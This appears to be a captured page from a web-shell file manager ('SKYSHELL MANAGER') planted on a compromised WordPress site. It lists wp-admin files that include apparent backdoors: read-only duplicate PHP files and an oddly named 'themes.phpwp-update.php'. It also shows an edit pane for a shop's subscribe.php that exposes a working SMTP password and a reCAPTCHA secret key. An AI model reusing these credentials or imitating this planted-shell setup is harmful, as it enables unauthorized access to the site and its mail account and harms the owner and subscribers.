📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: subscribe.php
<!DOCTYPE html> <html lang="en"> <!-- Basic --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!-- Mobile Metas --> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Site Metas --> <title>Unique GadgetShop</title> <meta name="keywords" content=""> <meta name="description" content=""> <meta name="author" content=""> <!-- Site Icons --> <link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon" /> <link rel="apple-touch-icon" href="images/apple-touch-icon.png"> <!-- Design fonts --> <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700" rel="stylesheet"> <!-- Bootstrap core CSS --> <link href="css/bootstrap.css" rel="stylesheet"> <!-- FontAwesome Icons core CSS --> <link href="css/font-awesome.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="style.css" rel="stylesheet"> <!-- Responsive styles for this template --> <link href="css/responsive.css" rel="stylesheet"> <!-- Colors for this template --> <link href="css/colors.css" rel="stylesheet"> <!-- Version Tech CSS for this template --> <link href="css/version/tech.css" rel="stylesheet"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <style> #g-recaptcha-response { display: block !important; position: absolute; margin: -78px 0 0 0 !important; width: 302px !important; height: 76px !important; z-index: -999999; opacity: 0; } </style> <script> window.addEventListener('load', () => { const $recaptcha = document.querySelector('#g-recaptcha-response'); if ($recaptcha) { $recaptcha.setAttribute('required', 'required'); } }) </script> <script src="https://www.google.com/recaptcha/api.js" async defer></script> </head> <body> <div id="wrapper"> <header class="tech-header header"> <div class="container-fluid"> <nav class="navbar navbar-toggleable-md navbar-inverse fixed-top bg-inverse"> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <a class="navbar-brand" href="index.php"><img src="images/logo2.png" alt=""></a> <div class="collapse navbar-collapse" id="navbarCollapse"> <ul class="navbar-nav mr-2"> <li class="nav-item"> <a class="nav-link" href="index.php">Home</a> </li> <li class="nav-item"> <a class="nav-link" href="blog1.php">Trending</a> </li> <li class="nav-item"> <a class="nav-link" href="blog2.php">Cool Gadgets</a> </li> <li class="nav-item"> <a class="nav-link" href="blog3.php">Technology</a> </li> <li class="nav-item"> <a class="nav-link" href="contact.php">Contact Us</a> </li> <li class="nav-item"> <a class="nav-link" href="subscribe.php">Quick Updates</a> </li> </ul> </div> </nav> </div><!-- end container-fluid --> </header><br><!-- end market-header --> <section class="section wb"> <div class="container"> <div class="row"> <div class="col-lg-12"> <div class="page-wrapper"> <div class="row" style="padding: 50px 0px 50px 0px;"> <div class="col-lg-4"> <img src="images/subscribe.jpg" alt="" class="img-fluid"> </div> <div class="col-lg-4"> <h2>Subscribe Us</h2><br> <p>Update latest News & Information via Email.</p> <form class="form-wrapper" action="subscribe.php" method="post"> <input type="text" name="website" style="display:none;"> <input type="text" name="name" class="form-control" placeholder="Your name"> <input type="email" name="email" class="form-control" placeholder="Email address"> <div class="g-recaptcha" data-sitekey="6LcOXg4rAAAAAC2a868_SDn4lS1flAHrTNEtx3O1"></div><br> <button type="submit" name="Submit" class="btn btn-primary">Subscribe</button> </form> <?php session_start(); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; require_once __DIR__ . '/vendor/phpmailer/src/PHPMailer.php'; require_once __DIR__ . '/vendor/phpmailer/src/SMTP.php'; require_once __DIR__ . '/vendor/phpmailer/src/Exception.php'; if (isset($_POST['Submit'])) { // Sanitize input $name = filter_var($_POST['name'], FILTER_SANITIZE_STRING); $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL); $message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8'); $honeypot = $_POST['website'] ?? ''; // Validation if (!$email || empty($name) || empty($email)) { die("Invalid input. Please fill the form correctly."); } // Honeypot check if (!empty($honeypot)) { die("Spam detected!"); } // Prevent duplicate submissions within 1 minute if (isset($_SESSION['last_submit_time']) && time() - $_SESSION['last_submit_time'] < 60) { die("You already submitted recently. Please wait before trying again."); } $_SESSION['last_submit_time'] = time(); // OPTIONAL: Google reCAPTCHA verification /* $response = $_POST['g-recaptcha-response'] ?? ''; $secret = "6Lf_MrsrAAAAAO_7iTGTViAnDff5zuQ0ynAyO32y"; // replace with your secret key $verify = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret={$secret}&response={$response}"); $captcha_success = json_decode($verify); if ($captcha_success->success == false) { die("Captcha verification failed. Please try again."); } */ try { // --- Mail to Subscriber --- $mail = new PHPMailer(true); $mail->isSMTP(); $mail->Host = 'smtppro.zoho.in'; $mail->SMTPAuth = true; $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; $mail->Port = 465; $mail->Username = 'contact@uniquegadgetshop.com'; // YOUR Gmail/SMTP email $mail->Password = '4kQvUhbsNfqX'; // YOUR Gmail/SMTP app password $mail->setFrom('contact@uniquegadgetshop.com', 'uniquegadgetshop'); $mail->addAddress($email, $name); $mail->addReplyTo('contact@uniquegadgetshop.com', 'uniquegadgetshop'); $mail->isHTML(true); $mail->Subject = "Subscription Confirmation"; $mail->Body = "<body style='background-color: #f5f8f8;padding:30px;'> <h1 style='text-align:center;font-size:30px;'> Unique GadgetShop</h1> <div style='margin: auto; width: 50%;border: 1px solid #e0e0e0;border-radius: 4px;padding: 10px;background-color: #f7fbfb;'> <h3>Hi,</h3> <p>Thanks for subscribing to our newsletter.</p> <p>We are glad that you joined us...</p><br><br> <p>Regards,<br> <b>Unique GadgetShop</b></p></div></body>"; $mail->send(); // --- Mail to Admin --- $mail2 = new PHPMailer(true); $mail2->isSMTP(); $mail2->Host = 'smtppro.zoho.in'; $mail2->SMTPAuth = true; $mail2->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; $mail2->Port = 465; $mail2->Username = 'contact@uniquegadgetshop.com'; $mail2->Password = '4kQvUhbsNfqX'; $mail2->setFrom('contact@uniquegadgetshop.com', 'uniquegadgetshop'); $mail2->addAddress('contact@uniquegadgetshop.com', 'uniquegadgetshop'); $mail2->isHTML(true); $mail2->Subject = "Subscribe Details"; $mail2->Body = "<strong>New subscription on your website:</strong><br> Name : $name<br> Email : $email<br> Message : $message<br>"; $mail2->send(); echo "Your submission has been submitted successfully."; } catch (Exception $e) { echo "Mailer Error: " . $e->getMessage(); } } ?> </div> <div class="col-md-4"> </div> </div> </div><!-- end page-wrapper --> </div><!-- end col --> </div><!-- end row --> </div><!-- end container --> </section> <footer class="footer"> <div class="container"> <div class="row"> <div class="col-lg-12"> <div class="widget"> <div class="footer-text text-center"> <a href="index.php"><h1>Unique GadgetShop</h1></a> <p><a href="privacy.php">Privacy Policy </a>|<a href="terms.php"> Terms Of Service </a>|<a href="contact.php"> Contact Us </a>|<a href="subscribe.php"> Subscribe </a>|<a href="unsubscribe.php"> Unsubscribe </a></p> <p>Our uniquegadgetshop.com is designed to help users make confident decisions online, this website contains information about a wide range of products and services. Certain details, including but not limited to prices and special offers, are provided to us directly from our partners and are dynamic and subject to change at any time without prior notice. Though based on extensive research, the information we share does not constitute legal or professional advice or forecast, and should not be treated as such. Reproduction of this website is strictly prohibited.</p> <hr class="invis"> </div><!-- end footer-text --> </div><!-- end widget --> </div><!-- end col --> </div> <div class="row"> <div class="col-md-12 text-center"> <br> <div class="copyright">© 2026 uniquegadgetshop.com. All Rights Reserved.</div> </div> </div> </div><!-- end container --> </footer><!-- end footer --> </div><!-- end wrapper --> <!-- Core JavaScript ================================================== --> <script src="js/jquery.min.js"></script> <script src="js/tether.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/custom.js"></script> </body> </html>
Save